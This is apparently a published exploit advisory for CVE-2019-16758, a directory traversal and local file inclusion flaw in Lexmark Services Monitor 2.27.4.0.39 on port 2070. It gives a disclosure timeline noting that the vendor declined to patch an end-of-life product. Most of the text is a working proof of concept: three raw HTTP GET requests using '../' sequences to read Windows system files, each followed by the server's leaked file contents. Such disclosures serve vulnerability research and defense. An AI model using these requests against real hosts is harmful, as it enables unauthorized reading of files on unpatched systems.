# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal # Google Dork: N/A # Date: 2019-11-15 # Exploit Author: Kevin Randall # Vendor Homepage: https://www.lexmark.com/en_us.html # Software Link: https://www.lexmark.com/en_us.html # Version: 2.27.4.0.39 (Latest Version) # Tested on: Windows Server 2012 # CVE : CVE-2019-16758 Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability. Timeline: Discovered on: 9/24/2019 Vendor Notified: 9/24/2019 Vendor Confirmed Receipt of Vulnerability: 9/24/2019 Follow up with Vendor: 9/25/2019 Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019 Vendor Confirmed Vulnerability is Valid: 9/26/2019 Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019 Vendor Confirmed Signoff to Disclose: 9/27/2019 Final Email Sent: 9/27/2019 Public Disclosure: 11/15/2019 PoC: GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: 10.200.15.70:2070 User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 HTTP/1.0 200 OK Server: rXpress Content-Length: 848536 . . . .[.P.e.r.f.l.i.b.]. . .B.a.s.e. .I.n.d.e.x.=.1.8.4.7. . .L.a.s.t. .C.o.u.n.t.e.r.=.3.3.3.4.6. . .L.a.s.t. .H.e.l.p.=.3.3.3.4.7. . . . .[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.]. . .F.i.r.s.t. .C.o.u.n.t.e.r.=.5.0.2.8. . .F.i.r.s.t. .H.e.l.p.=.5.0.2.9. . .L.a.s.t. .C.o.u.n.t.e.r.=.5.0.4.0. . .L.a.s.t. .H.e.l.p.=.5.0.4.1. . . . .[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.]. . .F.i.r.s.t. .C.o.u.n.t.e.r.=.4.9.8.6. GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: 10.200.15.70:2070 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3 HTTP/1.0 200 OK Server: rXpress Content-Length: 38710 ..[.S.t.r.i.n.g.s.]. . .L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".i.p.k.". . .L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".I.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y. .(.r.e.p.l.a.c.e.s. .e.x.i.s.t.i.n.g. .k.e.y.).". . .L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".u.p.k.". . .L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".U.n.i.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y.". . .L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.=.".a.t.o.". . .L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.U.s.a.g.e.=.".A.c.t.i.v.a.t.e. .W.i.n.d.o.w.s.". . .L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.=.".d.l.i.". . .L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.=.".D.i.s.p.l.a.y. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).". . .L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.V.e.r.b.o.s.e.=.".d.l.v.". . .L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.V.e.r.b.o.s.e.=.".D.i.s.p.l.a.y. .d.e.t.a.i.l.e.d. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).". . .L._.o.p.t.E.x.p.i.r.a.t.i.o.n.D.a.t.i.m.e.=.".x.p.r.". GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: 10.200.15.70:2070 User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de) HTTP/1.0 200 OK Server: rXpress Content-Length: 17463 # Copyright (c) 1993-2004 Microsoft Corp. # # This file contains port numbers for well-known services defined by IANA # # Format: # # <service name><port number>/<protocol>[aliases...] [#<comment>] # echo7/tcp echo7/udp discard 9/tcpsink null discard 9/udpsink null systat 11/tcpusers#Active users systat 11/udpusers#Active users daytime13/tcp daytime13/udp qotd 17/tcpquote#Quote of the day qotd 17/udpquote#Quote of the day chargen19/tcpttytst source#Character generator chargen19/udpttytst source#Character generator ftp-data 20/tcp #FTP, data ftp21/tcp #FTP. control ssh22/tcp #SSH Remote Login Protocol telnet 23/tcp smtp 25/tcpmail #Simple Mail Transfer Protocol time 37/tcptimserver
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